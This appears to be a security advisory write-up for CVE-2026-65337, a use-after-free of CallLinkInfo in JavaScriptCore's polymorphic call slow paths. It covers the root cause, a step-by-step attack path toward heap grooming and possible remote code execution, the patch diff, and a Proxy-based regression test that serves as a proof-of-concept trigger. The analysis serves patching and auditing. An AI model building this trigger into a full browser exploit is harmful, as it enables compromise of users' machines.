CVE-2026-65337
Overview
Background
- Polymorphic call inline cache
- When a JS call site sees multiple callees, JSC links a polymorphic stub described by a
CallLinkInfo.operationPolymorphicCall(JIT,JITOperations.cpp) andllint_polymorphic_call(LLIntSlowPaths.cpp) are the slow paths that resolve the callee and then (re)link the stub vialinkPolymorphicCall. - `CallLinkInfo`
- per-call-site metadata owned by the code block;
linkPolymorphicCallmutates*callLinkInfoin place to install/extend the stub. Its lifetime is tied to the owning code block, which can be destructed if that code is reclaimed. - Host call running JS
- resolving/invoking an
InternalFunctioncan run arbitrary JS (e.g. aProxyapplytrap, a native getter), which can mutate or free the call site’s structures.
Root Cause Analysis
virtualForWithFunction in RepatchInlines.h has an early path for InternalFunction callees: it returned the internal-function trampoline but, in the buggy code, did not set the out-param calleeAsFunctionCell — it was left at its incoming value. More importantly, the two slow-path callers then unconditionally executed linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell)). Resolving/dispatching an InternalFunction can synchronously run attacker JS, and that JS can cause the owning code block (and thus *callLinkInfo) to be freed. Dereferencing *callLinkInfo and linking into it afterward is therefore a use-after-free of the CallLinkInfo.
The patch addresses both halves. In RepatchInlines.h, the InternalFunction branch now assigns calleeAsFunctionCell = internalFunction so the out-param is meaningful. In operationPolymorphicCall and llint_polymorphic_call, the unconditional linkPolymorphicCall is now guarded by if (calleeAsFunctionCell) [[likely]] linkPolymorphicCall(...), with the explanatory comment: “A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don’t link.” In other words, a null calleeAsFunctionCell is the signal that a host call executed JS, so touching *callLinkInfo is unsafe and must be skipped. The committed regression operation-polymorphic-call-host-call-ic-reset.js drives exactly this: it trains a polymorphic getter IC, then installs a Proxy-backed getter whose apply trap runs delete proto.p (mutating the IC/structures) during the call, forcing the slow path to reach linkPolymorphicCall with freed state.
*callLinkInfo unconditionally after resolving the callee, but resolving an InternalFunction callee can run attacker JS that frees *callLinkInfo, so the subsequent link was a use-after-free; the fix treats a null resolved cell as “host call ran JS” and skips the link.Attack Path
- Train the IC
Attacker JS creates a monomorphic→polymorphic call/getter site (
getP(o)over a prototype getter) and warms it so aCallLinkInfo-backed polymorphic stub exists. - Install a reentrant host callee
Replace the getter with a
Proxy-wrapped function (anInternalFunction-dispatched callee) whoseapplytrap runs arbitrary JS. - Invoke
Call the site again; the slow path (
operationPolymorphicCall/llint_polymorphic_call) callsvirtualForWithFunction, which dispatches the host callee. - Free during reentry
The
applytrap executes JS (delete proto.p, dropping/resetting the IC) that causes the owning code block and its*callLinkInfoto be reclaimed. - Primitive
Control returns and the unpatched slow path dereferences/links
*callLinkInfo— a use-after-free write into freedCallLinkInfomemory, grooming of which yields a controlled corruption primitive (strength beyond crash inferred).
Impact Assessment
Proxy or other host callee that reentrantly mutates engine state. The diff substantiates a use-after-free of CallLinkInfo: a freed object is dereferenced and written during linkPolymorphicCall after a reentrant host call frees it. With heap grooming of the freed CallLinkInfo this is a classic exploitable UAF; the advisory’s “unexpected Safari crash” understates it. Full RCE via this UAF is the inferred escalation — the diff proves the dangling link, not the end-to-end chain.Files Changed
JSTests/stress/operation-polymorphic-call-host-call-ic-reset.jsSource/JavaScriptCore/bytecode/RepatchInlines.hSource/JavaScriptCore/jit/JITOperations.cppSource/JavaScriptCore/llint/LLIntSlowPaths.cpp
Audit Directions
- Reentrancy after callee resolutionAudit all slow paths that resolve a callee (
virtualFor*,operationVirtualCall, construct/newpaths) and then touchCallLinkInfoor other code-block-owned state, confirming they revalidate liveness after any step that can run JS. - Out-params left unset on early returnReview other
virtualForWithFunction-style helpers for early-return branches that leave out-params (calleeAsFunctionCell) in an ambiguous/stale state that callers then trust. - `ensureStillAliveHere` coverageCheck that
owner/callLinkInfoliveness is pinned across every reentrant window in the call-linking slow paths, not just forowner.
Patch
diff --git a/Source/JavaScriptCore/bytecode/RepatchInlines.h b/Source/JavaScriptCore/bytecode/RepatchInlines.h
index ba08fd9bcf4a..ae46d7f9cdd6 100644
--- a/Source/JavaScriptCore/bytecode/RepatchInlines.h
+++ b/Source/JavaScriptCore/bytecode/RepatchInlines.h
@@ -233,7 +233,8 @@ ALWAYS_INLINE void* virtualForWithFunction(VM& vm, JSCell* owner, CallFrame* cal
JSValue calleeAsValue = calleeFrame->guaranteedJSValueCallee();
calleeAsFunctionCell = getJSFunction(calleeAsValue);
if (!calleeAsFunctionCell) [[unlikely]] {
- if (jsDynamicCast<InternalFunction*>(calleeAsValue)) {
+ if (auto* internalFunction = jsDynamicCast<InternalFunction*>(calleeAsValue)) {
+ calleeAsFunctionCell = internalFunction;
CodePtr<JSEntryPtrTag> codePtr = vm.getCTIInternalFunctionTrampolineFor(kind);
ASSERT(!!codePtr);
return codePtr.taggedPtr();
diff --git a/Source/JavaScriptCore/jit/JITOperations.cpp b/Source/JavaScriptCore/jit/JITOperations.cpp
index da1f2ed66378..11c6f2c57798 100644
--- a/Source/JavaScriptCore/jit/JITOperations.cpp
+++ b/Source/JavaScriptCore/jit/JITOperations.cpp
@@ -2490,7 +2490,9 @@ JSC_DEFINE_JIT_OPERATION(operationPolymorphicCall, UCPURegister, (CallFrame* cal
void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
if (scope.exception()) [[unlikely]]
OPERATION_RETURN(scope, std::bit_cast<UCPURegister>(vm.getCTIStub(CommonJITThunkID::ThrowExceptionFromCall).template retagged<JSEntryPtrTag>().code().taggedPtr()));
- linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+ // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+ if (calleeAsFunctionCell) [[likely]]
+ linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
// Keep owner alive explicitly. Now this function can be called from tail-call. This means that CallFrame for that owner already goes away, so we should keep it alive if we would like to use it.
ensureStillAliveHere(owner);
if (scope.exception()) [[unlikely]]
diff --git a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
index 48dfaee4de2a..17db3a75ca3c 100644
--- a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
+++ b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
@@ -654,7 +654,9 @@ extern "C" UGPRPair SYSV_ABI llint_polymorphic_call(CallFrame* calleeFrame, Call
void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
if (scope.exception()) [[unlikely]]
return encodeResult(callTarget, std::bit_cast<void*>(&vm));
- linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+ // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+ if (calleeAsFunctionCell) [[likely]]
+ linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
ensureStillAliveHere(owner);
if (scope.exception()) [[unlikely]]
return encodeResult(callTarget, std::bit_cast<void*>(&vm));
diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+ return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+ getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+ apply: function(target, thisArg, args) {
+ delete proto.p;
+ return 0x42;
+ }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);
Regression Test / PoC
diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+ return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+ getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+ apply: function(target, thisArg, args) {
+ delete proto.p;
+ return 0x42;
+ }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);